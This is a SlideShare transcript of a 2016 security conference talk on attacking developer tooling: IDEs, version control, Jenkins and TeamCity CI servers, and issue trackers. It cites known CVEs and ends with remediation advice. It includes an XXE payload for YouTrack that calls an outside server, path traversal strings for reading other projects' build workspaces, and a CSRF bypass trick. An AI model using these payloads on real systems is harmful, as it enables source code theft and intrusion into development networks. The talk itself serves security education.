SlideShare una empresa de Scribd logo
1 de 56
Descargar para leer sin conexión
Andrey Plastunov
Simple bugs to pwn the devs
About
Pentester at Digital Security [DSEC.RU]
@DSecRU
@plastunovaa
@osakaaa
a.plastunov@dsec.ru
Development environment
Source code Issue
App
IDEs
CI
Source code
Components: Scheme
An integrated development environment (IDE) is a software application that
provides comprehensive facilities to computer programmers for software
development. An IDE normally consists of a source code editor, build
automation tools and a debugger. Most modern IDEs have intelligent code
completion. (с) Wikipedia
● Consumes user input
● Produces sources
● Builds sources
● Uses plugins for integration with other tools
● Has UI
Components: IDE
An integrated development environment (IDE) is a software application that
provides comprehensive facilities to computer programmers for software
development. An IDE normally consists of a source code editor, build
automation tools and a debugger. Most modern IDEs have intelligent code
completion. (с) Wikipedia
● Consumes user input
● Produces sources
● Builds sources
● Uses plugins for integration with other tools
● Has UI
● (Even the IDE!) Can be the target of an attack
Components: IDE
Components: IDE
An integrated development environment (IDE) is a software application that
provides comprehensive facilities to computer programmers for software
development. An IDE normally consists of a source code editor, build
automation tools and a debugger. Most modern IDEs have intelligent code
completion. (с) Wikipedia
● Consumes user input
● Produces sources
● Builds sources
● Uses plugins for integration with other tools
● Has UI
● Can be target of an attack
Jetbrains Intellij based IDEs prone to CSRF vulnerability which allows
attacker to access local file system from a malicious website
JetBrain’s advisory: https://blog.jetbrains.com/blog/2016/05/11/security-
update-for-intellij-based-ides-v2016-1-and-older-versions/
Example
A component of software configuration management, version control, also
known as revision control or source control, is the management of changes to
documents, computer programs, large web sites, and other collections of
information
● Stores source code + additional info (not always trusted)
● Uses plugins for integration with other tools
● Has UI
Components: Version control
A component of software configuration management, version control, also
known as revision control or source control, is the management of changes to
documents, computer programs, large web sites, and other collections of
information
● Stores source code + additional info (not always trusted)
● Uses plugins for integration with other tools
● Has UI
● Will be the target of attack
Components: Version control
Components: Version control
A component of software configuration management, version control, also
known as revision control or source control, is the management of changes to
documents, computer programs, large web sites, and other collections of
information
● Stores user supplied data (not always trusted)
● Uses plugins for integration with other tools
● Has UI
● Will be the target of attack
A number of CVEs and other vulns in:
● GIT itself
● GIT-based repositories (Gitlub, GitHub etc)
The same thing for less popular Mercurial and SVN
Example
Continuous integration (CI) is the practice, in software engineering, of merging
all developer working copies to a shared mainline several times a day
● Stores user supplied data (not always trusted)
● Executes (!) user supplied data
● Stores credentials and other identity data
● Has UI
Components: CI system
Continuous integration (CI) is the practice, in software engineering, of merging
all developer working copies to a shared mainline several times a day
● Stores user supplied data (not always trusted)
● Executes (!) user supplied data
● Stores credentials and other identity data
● Has UI
● The most expected to be the target of attack
Components: CI system
An issue tracking system (also ITS, trouble ticket system, support ticket,
request management or incident ticket system) is a computer software
package that manages and maintains lists of issues, as needed by an
organization.
● Stores user supplied data (not always trusted)
● Has UI
Components: Issue trackers
An issue tracking system (also ITS, trouble ticket system, support ticket,
request management or incident ticket system) is a computer software
package that manages and maintains lists of issues, as needed by an
organization.
● Stores user supplied data (not always trusted)
● Has UI
● Probably will be the target of attack
Components: Issue trackers
Components: Issue trackers
An issue tracking system (also ITS, trouble ticket system, support ticket,
request management or incident ticket system) is a computer software
package that manages and maintains lists of issues, as needed by an
organization.
● Stores user supplied data (not always trusted)
● Has UI
● Probably will be the target of attack
A number of CVEs and other vulns in various issue tracking systems
● Latest XXE vulnerability in JetBrains YouTrack as an example of
common WEB bug.
http://blog.jetbrains.com/youtrack/2016/02/important-youtrack-6-5-
17031-update/
● Much more funny example cve-2015-4499 in Bugzilla which allows
escalation of privileges via improper validation of emails
https://blog.perimeterx.com/bugzilla-cve-2015-4499/
Example
1. Directly affects Source codes of your product
2. Works with developer's identity
3. Can provide a great help for attacker during network
infiltration
Why so valuable?
1. The source code itself
Can be stolen
2. Your application’s end users
Can be infected
Goodies: Source code
● Your private (signing) key
Signing malicious code with your keys
● Evading Antiviruses
● Circumventing several security mechanisms on some OS (like
iOS)
Goodies: Developer’s identity
● Elevation of privilege
○ Domain credentials
○ Service credentials
○ SSH keys
...
● Malicious code execution -> full access to your network
Goodies: Network infiltration
Based on the previous slides, we have the following types of
goodies:
● Source code
● Developers identity
● Network-used credentials
● Code execution (e.g. backend access)
Goodies: Summary
Attack surface? Where to look
+ + + -
+ + - -
+ + +++ +
- - + -
Actually, not in scope =)
The information below based on my own experience with dev tools and
may or may not represent your own knowledge.
Also, the distribution of goodies between components based on my
understanding of how each component should work
Disclaimer
Sources Identity
Network
creds
Backend
+ + + -
+ + - -
+ + +++ +
+- - + -
Actually, not in scope =)
Attack surface? Where to look
Attack surface?
The keys to pwn the components
User Interface
● Graphical (mostly web-based) interface to control Master
● (sometimes) API’s and other such stuff
Actually, each component has it
Attack surface?
The keys to pwn the components
Plugins
● Various tools to modify base system
Such as:
○ Security plugins
○ Integration plugins
○ Reporting plugins
○ ….
With all this integration stuff, it is very likely, that a component has the
ability to use plugins
Attack surface?
The keys to pwn the components
Attack surface?
Why plugins. Demo
[Component specific] Master
● Controls the entire system:
○ Configuration
○ User accounts
○ Plugin management
● Control slaves
● Builds targets
● Temporary hosts builded apps
Attack surface?
The keys to pwn the components
[Component specific] Slaves
● Managed by master
● Build targets
● Temporary host builded apps
Attack surface?
The keys to pwn the components
Attack surface?
Attack surface!
- That’s attacker
Common weaknesses and bugs
● Vulnerable instances (often with public exploits)
● Default credentials (or their absence)
● Building tools runs under high privileged accounts (root or
system)
● No (or bad) role management
● No sandboxing (isolation)
*based on observation from various pentests
Common configuration problems*
● No isolation on build servers
○ It is possible to access sources of other projects
Just pass something like this to your build script:
../workspace/ - Jenkins Agent’s working dir
../../work/ (buildAgent/work/) - Teamcity Agent’s working dir
A Note on isolation of builds
../workspace/
../../work/ (buildAgent/work/)
● No isolation on build servers
○ It is possible to access sources of other projects
○ In case of Master, possibility to access server
configuration itself
Just pass something like this to your build script:
../workspace/ - Jenkins Agent’s working dir
../../work/ (buildAgent/work/) - Teamcity configuration dir
A Note on isolation of builds
$JENKINS_HOME/
.BuildServer/config/
Jenkins. A number of XSS vectors misusing Jenkins functionality
- Custom web server for user supplied data
- HTML content from code repos
Exploit: link
Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
/UserContent/
/job/<ProjectName>/ws/
Jenkins universal CSRF
CVE-2015-7538
Exploit: Change Content-Type for any request to multipart/form-data
Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
if (valid || isMultipart(httpRequest)) {
chain.doFilter(request, response);
} else {
LOGGER.log(Level.WARNING, "No valid crumb was
included in request for {0}. Returning {1}.", new
Object[] {httpRequest.getRequestURI(),
HttpServletResponse.SC_FORBIDDEN});
Notorious Java deserialization in Jenkins CLI (command line
interface) deserialization vulnerability
CVE-2015-8103
Affected library: ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.
jar
Details and Exploit: What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your
Application Have in Common? This Vulnerability by foxglove security
Payload generator: https://github.com/frohoff/ysoserial
Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
Notorious Java deserialization in Jenkins Xstream parsing
CVE-2016-0792
Details and Exploit: Serialization Must Die: Act 2: XStream (Jenkins CVE-2016-0792)
by contrast security
Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
TeamCity privilege escalation through IDOR.
CVE-2015-1313
- is accessible even if registration is turned of in
configs
Details and exploit at: https://beyondbinary.io/articles/teamcity-account-creation/
Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
/registerUserSubmit.html
YouTrack XXE in user import function
Details: bo0om’s blog + hackerone report 114476 (sadly, both in Russian)
Exploit: Send XML payload via PUT method to URI /rest/import/users?{test}
Example payload:
Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
<?xml version="1.0"?>
<!DOCTYPE list [
<!ENTITY % xxe SYSTEM "http://myserver/xxe-test">
%xxe;
]>
<list></list>
Exploitation
Targets
● Source code
● Developer’s identity
● Network-used credentials
● Code execution (e.g. backend access)
Exploitation
● Source code
○ Stealing the sources using lack of isolation between projects
Exploitation
● Source code
○ Stealing the sources using lack of isolation between projects
○ Source code modification (infection)
Exploitation
● Developer’s identity
○ Stealing the identity
Exploitation
● Network Infiltration
○ Gaining credentials
E.g. from local encrypted storage
For Jenkins: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html -
Retrieving the eccryption key via admin script console
○ Gaining backend access
Exploitation
Stealing the source codes and identity.
Demo
● Network Infiltration
○ Gaining credentials
E.g. from local encrypted storage
For Jenkins: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html -
Retrieving the ecryption key via admin script console
○ Gaining backend access
Exploitation
Gaining backend access via simple XSS.
Demo
● Botnets. Small but funny
Exploitation
● Botnets. Small but funny
Official Jenkins CI
Exploitation
● Botnets. Small but funny
Official TeamCity CI
Exploitation
● Botnets. Small but funny
Exploitation
Jenkins on the internet
● Botnets. Small but funny
Exploitation
Jenkins on the internetTeamcity on the internet
Remediations
Remediations. Summary
● Never rely on default settings
● Never bind to 0.0.0.0
● Never rely on safety of 3rd party components like plugins
● Update your tools as soon as a new security advisory is
published
● Perform additional validation on all user inputs (including
sources)
● Try to isolate projects (Docker?)
The END

Más contenido relacionado

La actualidad más candente

BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...Aditya K Sood
 
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015CODE BLUE
 
When the internet bleeded : RootConf 2014
When the internet bleeded : RootConf 2014When the internet bleeded : RootConf 2014
When the internet bleeded : RootConf 2014Anant Shrivastava
 
ZeroNights - SmartTV
ZeroNights - SmartTV ZeroNights - SmartTV
ZeroNights - SmartTV Sergey Belov
 
My tryst with sourcecode review
My tryst with sourcecode reviewMy tryst with sourcecode review
My tryst with sourcecode reviewAnant Shrivastava
 
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015CODE BLUE
 
[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security Headers[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security HeadersOWASP
 
Learning by hacking - android application hacking tutorial
Learning by hacking - android application hacking tutorialLearning by hacking - android application hacking tutorial
Learning by hacking - android application hacking tutorialLandice Fu
 
HackInTheBox - AMS 2011 , Spying on SpyEye - What Lies Beneath ?
HackInTheBox -  AMS 2011 , Spying on SpyEye - What Lies Beneath ?HackInTheBox -  AMS 2011 , Spying on SpyEye - What Lies Beneath ?
HackInTheBox - AMS 2011 , Spying on SpyEye - What Lies Beneath ?Aditya K Sood
 
Basic Malware Analysis
Basic Malware AnalysisBasic Malware Analysis
Basic Malware AnalysisAlbert Hui
 
DBI-Assisted Android Application Reverse Engineering
DBI-Assisted Android Application Reverse EngineeringDBI-Assisted Android Application Reverse Engineering
DBI-Assisted Android Application Reverse EngineeringSahil Dhar
 
Abusing Glype Proxies - Attacks, Exploits and Defences
Abusing Glype Proxies - Attacks, Exploits and DefencesAbusing Glype Proxies - Attacks, Exploits and Defences
Abusing Glype Proxies - Attacks, Exploits and DefencesAditya K Sood
 
Deploying a Shadow Threat Intel Capability at Thotcon on May 6, 2016
Deploying a Shadow Threat Intel Capability at Thotcon on May 6, 2016Deploying a Shadow Threat Intel Capability at Thotcon on May 6, 2016
Deploying a Shadow Threat Intel Capability at Thotcon on May 6, 2016grecsl
 
[OWASP Poland Day] A study of Electron security
[OWASP Poland Day] A study of Electron security[OWASP Poland Day] A study of Electron security
[OWASP Poland Day] A study of Electron securityOWASP
 
[OWASP Poland Day] Security knowledge framework
[OWASP Poland Day] Security knowledge framework[OWASP Poland Day] Security knowledge framework
[OWASP Poland Day] Security knowledge frameworkOWASP
 

La actualidad más candente (20)

BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
 
The Hookshot: Runtime Exploitation
The Hookshot: Runtime ExploitationThe Hookshot: Runtime Exploitation
The Hookshot: Runtime Exploitation
 
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
 
When the internet bleeded : RootConf 2014
When the internet bleeded : RootConf 2014When the internet bleeded : RootConf 2014
When the internet bleeded : RootConf 2014
 
ZeroNights - SmartTV
ZeroNights - SmartTV ZeroNights - SmartTV
ZeroNights - SmartTV
 
Buffer Overflow Attacks
Buffer Overflow AttacksBuffer Overflow Attacks
Buffer Overflow Attacks
 
My tryst with sourcecode review
My tryst with sourcecode reviewMy tryst with sourcecode review
My tryst with sourcecode review
 
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
 
[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security Headers[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security Headers
 
Antivirus is hopeless
Antivirus is hopelessAntivirus is hopeless
Antivirus is hopeless
 
Kali net hunter
Kali net hunterKali net hunter
Kali net hunter
 
Learning by hacking - android application hacking tutorial
Learning by hacking - android application hacking tutorialLearning by hacking - android application hacking tutorial
Learning by hacking - android application hacking tutorial
 
HackInTheBox - AMS 2011 , Spying on SpyEye - What Lies Beneath ?
HackInTheBox -  AMS 2011 , Spying on SpyEye - What Lies Beneath ?HackInTheBox -  AMS 2011 , Spying on SpyEye - What Lies Beneath ?
HackInTheBox - AMS 2011 , Spying on SpyEye - What Lies Beneath ?
 
Basic Malware Analysis
Basic Malware AnalysisBasic Malware Analysis
Basic Malware Analysis
 
DBI-Assisted Android Application Reverse Engineering
DBI-Assisted Android Application Reverse EngineeringDBI-Assisted Android Application Reverse Engineering
DBI-Assisted Android Application Reverse Engineering
 
Abusing Glype Proxies - Attacks, Exploits and Defences
Abusing Glype Proxies - Attacks, Exploits and DefencesAbusing Glype Proxies - Attacks, Exploits and Defences
Abusing Glype Proxies - Attacks, Exploits and Defences
 
Deploying a Shadow Threat Intel Capability at Thotcon on May 6, 2016
Deploying a Shadow Threat Intel Capability at Thotcon on May 6, 2016Deploying a Shadow Threat Intel Capability at Thotcon on May 6, 2016
Deploying a Shadow Threat Intel Capability at Thotcon on May 6, 2016
 
[OWASP Poland Day] A study of Electron security
[OWASP Poland Day] A study of Electron security[OWASP Poland Day] A study of Electron security
[OWASP Poland Day] A study of Electron security
 
[OWASP Poland Day] Security knowledge framework
[OWASP Poland Day] Security knowledge framework[OWASP Poland Day] Security knowledge framework
[OWASP Poland Day] Security knowledge framework
 
Introduction to Frida
Introduction to FridaIntroduction to Frida
Introduction to Frida
 

Destacado

4Developers: Kacper Gunia- Embrace Events and let CRUD die
4Developers: Kacper Gunia- Embrace Events and let CRUD die4Developers: Kacper Gunia- Embrace Events and let CRUD die
4Developers: Kacper Gunia- Embrace Events and let CRUD diePROIDEA
 
PLNOG 13: Adam Obszyński: Case Study – Infoblox Advanced DNS Protection
PLNOG 13: Adam Obszyński: Case Study – Infoblox Advanced DNS ProtectionPLNOG 13: Adam Obszyński: Case Study – Infoblox Advanced DNS Protection
PLNOG 13: Adam Obszyński: Case Study – Infoblox Advanced DNS ProtectionPROIDEA
 
JDD2014: Behaviour driven development, BDD, with cucumber for JAVA - Thomas S...
JDD2014: Behaviour driven development, BDD, with cucumber for JAVA - Thomas S...JDD2014: Behaviour driven development, BDD, with cucumber for JAVA - Thomas S...
JDD2014: Behaviour driven development, BDD, with cucumber for JAVA - Thomas S...PROIDEA
 
PLNOG 17 - Stefan Meinders - Slow is the new Down
PLNOG 17 - Stefan Meinders - Slow is the new DownPLNOG 17 - Stefan Meinders - Slow is the new Down
PLNOG 17 - Stefan Meinders - Slow is the new DownPROIDEA
 
PLNOG 17 - Grzegorz Kornacki - F5 and OpenStack
PLNOG 17 - Grzegorz Kornacki - F5 and OpenStackPLNOG 17 - Grzegorz Kornacki - F5 and OpenStack
PLNOG 17 - Grzegorz Kornacki - F5 and OpenStackPROIDEA
 
Atmosphere 2016 - Berk Dulger - DevOps Tactical Adoption Theory
Atmosphere 2016 - Berk Dulger  - DevOps Tactical Adoption TheoryAtmosphere 2016 - Berk Dulger  - DevOps Tactical Adoption Theory
Atmosphere 2016 - Berk Dulger - DevOps Tactical Adoption TheoryPROIDEA
 
JDD 2016 - Maciej Hryszniak - Webpack and Friends
JDD 2016 - Maciej Hryszniak - Webpack and FriendsJDD 2016 - Maciej Hryszniak - Webpack and Friends
JDD 2016 - Maciej Hryszniak - Webpack and FriendsPROIDEA
 
PLNOG 17 - Nicolai van der Smagt - Building and connecting the eBay Classifie...
PLNOG 17 - Nicolai van der Smagt - Building and connecting the eBay Classifie...PLNOG 17 - Nicolai van der Smagt - Building and connecting the eBay Classifie...
PLNOG 17 - Nicolai van der Smagt - Building and connecting the eBay Classifie...PROIDEA
 
PLNOG 17 - Michał Rosiak - Świadomy Klient to bezpieczna firma
PLNOG 17 - Michał Rosiak - Świadomy Klient to bezpieczna firmaPLNOG 17 - Michał Rosiak - Świadomy Klient to bezpieczna firma
PLNOG 17 - Michał Rosiak - Świadomy Klient to bezpieczna firmaPROIDEA
 
PLNOG 17 - Tomasz Brol - loT w chmurach
PLNOG 17 - Tomasz Brol - loT w chmurachPLNOG 17 - Tomasz Brol - loT w chmurach
PLNOG 17 - Tomasz Brol - loT w chmurachPROIDEA
 
PLNOG 17 - Emil Gągała - DMZ po nowemu - krok po kroku - jak uruchomić SDN w ...
PLNOG 17 - Emil Gągała - DMZ po nowemu - krok po kroku - jak uruchomić SDN w ...PLNOG 17 - Emil Gągała - DMZ po nowemu - krok po kroku - jak uruchomić SDN w ...
PLNOG 17 - Emil Gągała - DMZ po nowemu - krok po kroku - jak uruchomić SDN w ...PROIDEA
 
DOD 2016 - Kamil Szczygieł - Patching 100 OpenStack Compute Nodes with Zero-d...
DOD 2016 - Kamil Szczygieł - Patching 100 OpenStack Compute Nodes with Zero-d...DOD 2016 - Kamil Szczygieł - Patching 100 OpenStack Compute Nodes with Zero-d...
DOD 2016 - Kamil Szczygieł - Patching 100 OpenStack Compute Nodes with Zero-d...PROIDEA
 
PLNOG 17 - Piotr Jabłoński - Sieci nakładkowe w Data Center - uproszczenie, c...
PLNOG 17 - Piotr Jabłoński - Sieci nakładkowe w Data Center - uproszczenie, c...PLNOG 17 - Piotr Jabłoński - Sieci nakładkowe w Data Center - uproszczenie, c...
PLNOG 17 - Piotr Jabłoński - Sieci nakładkowe w Data Center - uproszczenie, c...PROIDEA
 
JDD 2016 - Tomasz Lelek - Machine Learning With Apache Spark
JDD 2016 - Tomasz Lelek - Machine Learning With Apache SparkJDD 2016 - Tomasz Lelek - Machine Learning With Apache Spark
JDD 2016 - Tomasz Lelek - Machine Learning With Apache SparkPROIDEA
 
JDD 2016 - Grzegorz Rozniecki - Java 8 What Could Possibly Go Wrong
JDD 2016 - Grzegorz Rozniecki - Java 8 What Could Possibly Go WrongJDD 2016 - Grzegorz Rozniecki - Java 8 What Could Possibly Go Wrong
JDD 2016 - Grzegorz Rozniecki - Java 8 What Could Possibly Go WrongPROIDEA
 
JDD 2016 - Pawel Szulc - Writing Your Wwn RDD For Fun And Profit
JDD 2016 - Pawel Szulc - Writing Your Wwn RDD For Fun And ProfitJDD 2016 - Pawel Szulc - Writing Your Wwn RDD For Fun And Profit
JDD 2016 - Pawel Szulc - Writing Your Wwn RDD For Fun And ProfitPROIDEA
 
JDD 2016 - Jedrzej Dabrowa - Distributed System Fault Injection Testing With ...
JDD 2016 - Jedrzej Dabrowa - Distributed System Fault Injection Testing With ...JDD 2016 - Jedrzej Dabrowa - Distributed System Fault Injection Testing With ...
JDD 2016 - Jedrzej Dabrowa - Distributed System Fault Injection Testing With ...PROIDEA
 

Destacado (17)

4Developers: Kacper Gunia- Embrace Events and let CRUD die
4Developers: Kacper Gunia- Embrace Events and let CRUD die4Developers: Kacper Gunia- Embrace Events and let CRUD die
4Developers: Kacper Gunia- Embrace Events and let CRUD die
 
PLNOG 13: Adam Obszyński: Case Study – Infoblox Advanced DNS Protection
PLNOG 13: Adam Obszyński: Case Study – Infoblox Advanced DNS ProtectionPLNOG 13: Adam Obszyński: Case Study – Infoblox Advanced DNS Protection
PLNOG 13: Adam Obszyński: Case Study – Infoblox Advanced DNS Protection
 
JDD2014: Behaviour driven development, BDD, with cucumber for JAVA - Thomas S...
JDD2014: Behaviour driven development, BDD, with cucumber for JAVA - Thomas S...JDD2014: Behaviour driven development, BDD, with cucumber for JAVA - Thomas S...
JDD2014: Behaviour driven development, BDD, with cucumber for JAVA - Thomas S...
 
PLNOG 17 - Stefan Meinders - Slow is the new Down
PLNOG 17 - Stefan Meinders - Slow is the new DownPLNOG 17 - Stefan Meinders - Slow is the new Down
PLNOG 17 - Stefan Meinders - Slow is the new Down
 
PLNOG 17 - Grzegorz Kornacki - F5 and OpenStack
PLNOG 17 - Grzegorz Kornacki - F5 and OpenStackPLNOG 17 - Grzegorz Kornacki - F5 and OpenStack
PLNOG 17 - Grzegorz Kornacki - F5 and OpenStack
 
Atmosphere 2016 - Berk Dulger - DevOps Tactical Adoption Theory
Atmosphere 2016 - Berk Dulger  - DevOps Tactical Adoption TheoryAtmosphere 2016 - Berk Dulger  - DevOps Tactical Adoption Theory
Atmosphere 2016 - Berk Dulger - DevOps Tactical Adoption Theory
 
JDD 2016 - Maciej Hryszniak - Webpack and Friends
JDD 2016 - Maciej Hryszniak - Webpack and FriendsJDD 2016 - Maciej Hryszniak - Webpack and Friends
JDD 2016 - Maciej Hryszniak - Webpack and Friends
 
PLNOG 17 - Nicolai van der Smagt - Building and connecting the eBay Classifie...
PLNOG 17 - Nicolai van der Smagt - Building and connecting the eBay Classifie...PLNOG 17 - Nicolai van der Smagt - Building and connecting the eBay Classifie...
PLNOG 17 - Nicolai van der Smagt - Building and connecting the eBay Classifie...
 
PLNOG 17 - Michał Rosiak - Świadomy Klient to bezpieczna firma
PLNOG 17 - Michał Rosiak - Świadomy Klient to bezpieczna firmaPLNOG 17 - Michał Rosiak - Świadomy Klient to bezpieczna firma
PLNOG 17 - Michał Rosiak - Świadomy Klient to bezpieczna firma
 
PLNOG 17 - Tomasz Brol - loT w chmurach
PLNOG 17 - Tomasz Brol - loT w chmurachPLNOG 17 - Tomasz Brol - loT w chmurach
PLNOG 17 - Tomasz Brol - loT w chmurach
 
PLNOG 17 - Emil Gągała - DMZ po nowemu - krok po kroku - jak uruchomić SDN w ...
PLNOG 17 - Emil Gągała - DMZ po nowemu - krok po kroku - jak uruchomić SDN w ...PLNOG 17 - Emil Gągała - DMZ po nowemu - krok po kroku - jak uruchomić SDN w ...
PLNOG 17 - Emil Gągała - DMZ po nowemu - krok po kroku - jak uruchomić SDN w ...
 
DOD 2016 - Kamil Szczygieł - Patching 100 OpenStack Compute Nodes with Zero-d...
DOD 2016 - Kamil Szczygieł - Patching 100 OpenStack Compute Nodes with Zero-d...DOD 2016 - Kamil Szczygieł - Patching 100 OpenStack Compute Nodes with Zero-d...
DOD 2016 - Kamil Szczygieł - Patching 100 OpenStack Compute Nodes with Zero-d...
 
PLNOG 17 - Piotr Jabłoński - Sieci nakładkowe w Data Center - uproszczenie, c...
PLNOG 17 - Piotr Jabłoński - Sieci nakładkowe w Data Center - uproszczenie, c...PLNOG 17 - Piotr Jabłoński - Sieci nakładkowe w Data Center - uproszczenie, c...
PLNOG 17 - Piotr Jabłoński - Sieci nakładkowe w Data Center - uproszczenie, c...
 
JDD 2016 - Tomasz Lelek - Machine Learning With Apache Spark
JDD 2016 - Tomasz Lelek - Machine Learning With Apache SparkJDD 2016 - Tomasz Lelek - Machine Learning With Apache Spark
JDD 2016 - Tomasz Lelek - Machine Learning With Apache Spark
 
JDD 2016 - Grzegorz Rozniecki - Java 8 What Could Possibly Go Wrong
JDD 2016 - Grzegorz Rozniecki - Java 8 What Could Possibly Go WrongJDD 2016 - Grzegorz Rozniecki - Java 8 What Could Possibly Go Wrong
JDD 2016 - Grzegorz Rozniecki - Java 8 What Could Possibly Go Wrong
 
JDD 2016 - Pawel Szulc - Writing Your Wwn RDD For Fun And Profit
JDD 2016 - Pawel Szulc - Writing Your Wwn RDD For Fun And ProfitJDD 2016 - Pawel Szulc - Writing Your Wwn RDD For Fun And Profit
JDD 2016 - Pawel Szulc - Writing Your Wwn RDD For Fun And Profit
 
JDD 2016 - Jedrzej Dabrowa - Distributed System Fault Injection Testing With ...
JDD 2016 - Jedrzej Dabrowa - Distributed System Fault Injection Testing With ...JDD 2016 - Jedrzej Dabrowa - Distributed System Fault Injection Testing With ...
JDD 2016 - Jedrzej Dabrowa - Distributed System Fault Injection Testing With ...
 

Similar a [CONFidence 2016] Andrey Plastunov - Simple bugs to pwn the devs

Continuous Integration and development environment approach
Continuous Integration and development environment approachContinuous Integration and development environment approach
Continuous Integration and development environment approachAleksandr Tsertkov
 
The Evolving Role of Build Engineering in Managing Open Source
The Evolving Role of Build Engineering in Managing Open SourceThe Evolving Role of Build Engineering in Managing Open Source
The Evolving Role of Build Engineering in Managing Open SourceDevOps.com
 
IDE and Toolset For Magento Development
IDE and Toolset For Magento DevelopmentIDE and Toolset For Magento Development
IDE and Toolset For Magento DevelopmentAbid Malik
 
Continuous integration
Continuous integrationContinuous integration
Continuous integrationLior Tal
 
Introduction to Continuous integration
Introduction to Continuous integrationIntroduction to Continuous integration
Introduction to Continuous integrationliortal53
 
A level-computing-9691-paper-1-notes
A level-computing-9691-paper-1-notesA level-computing-9691-paper-1-notes
A level-computing-9691-paper-1-noteshuzyrah
 
Introduction.pptx
Introduction.pptxIntroduction.pptx
Introduction.pptxSUDHAKAR S
 
Application Software
Application SoftwareApplication Software
Application SoftwareDasun Hegoda
 
SE2_Lec 22_Software Configuration Management
SE2_Lec 22_Software Configuration ManagementSE2_Lec 22_Software Configuration Management
SE2_Lec 22_Software Configuration ManagementAmr E. Mohamed
 
Transforming your Security Products at the Endpoint
Transforming your Security Products at the EndpointTransforming your Security Products at the Endpoint
Transforming your Security Products at the EndpointIvanti
 
Bba i-introduction to computer-u-2- application and system software
Bba  i-introduction to computer-u-2- application and system softwareBba  i-introduction to computer-u-2- application and system software
Bba i-introduction to computer-u-2- application and system softwareRai University
 
Continuous Security for GitOps
Continuous Security for GitOpsContinuous Security for GitOps
Continuous Security for GitOpsWeaveworks
 
Bca i-fundamental of computer-u-2- application and system software
Bca  i-fundamental of  computer-u-2- application and system softwareBca  i-fundamental of  computer-u-2- application and system software
Bca i-fundamental of computer-u-2- application and system softwareRai University
 
BLUG 2012 Version Control for Notes Developers
BLUG 2012 Version Control for Notes DevelopersBLUG 2012 Version Control for Notes Developers
BLUG 2012 Version Control for Notes DevelopersMartin Jinoch
 
Bsc cs 1 fit u-2 application and system software
Bsc cs 1 fit u-2 application and system softwareBsc cs 1 fit u-2 application and system software
Bsc cs 1 fit u-2 application and system softwareRai University
 
Thick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash CourseThick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash CourseNetSPI
 

Similar a [CONFidence 2016] Andrey Plastunov - Simple bugs to pwn the devs (20)

Build Time Hacking
Build Time HackingBuild Time Hacking
Build Time Hacking
 
Continuous Integration and development environment approach
Continuous Integration and development environment approachContinuous Integration and development environment approach
Continuous Integration and development environment approach
 
The Evolving Role of Build Engineering in Managing Open Source
The Evolving Role of Build Engineering in Managing Open SourceThe Evolving Role of Build Engineering in Managing Open Source
The Evolving Role of Build Engineering in Managing Open Source
 
DevSecOps: What Why and How : Blackhat 2019
DevSecOps: What Why and How : Blackhat 2019DevSecOps: What Why and How : Blackhat 2019
DevSecOps: What Why and How : Blackhat 2019
 
IDE and Toolset For Magento Development
IDE and Toolset For Magento DevelopmentIDE and Toolset For Magento Development
IDE and Toolset For Magento Development
 
Continuous integration
Continuous integrationContinuous integration
Continuous integration
 
Introduction to Continuous integration
Introduction to Continuous integrationIntroduction to Continuous integration
Introduction to Continuous integration
 
A level-computing-9691-paper-1-notes
A level-computing-9691-paper-1-notesA level-computing-9691-paper-1-notes
A level-computing-9691-paper-1-notes
 
Introduction.pptx
Introduction.pptxIntroduction.pptx
Introduction.pptx
 
Application Software
Application SoftwareApplication Software
Application Software
 
SE2_Lec 22_Software Configuration Management
SE2_Lec 22_Software Configuration ManagementSE2_Lec 22_Software Configuration Management
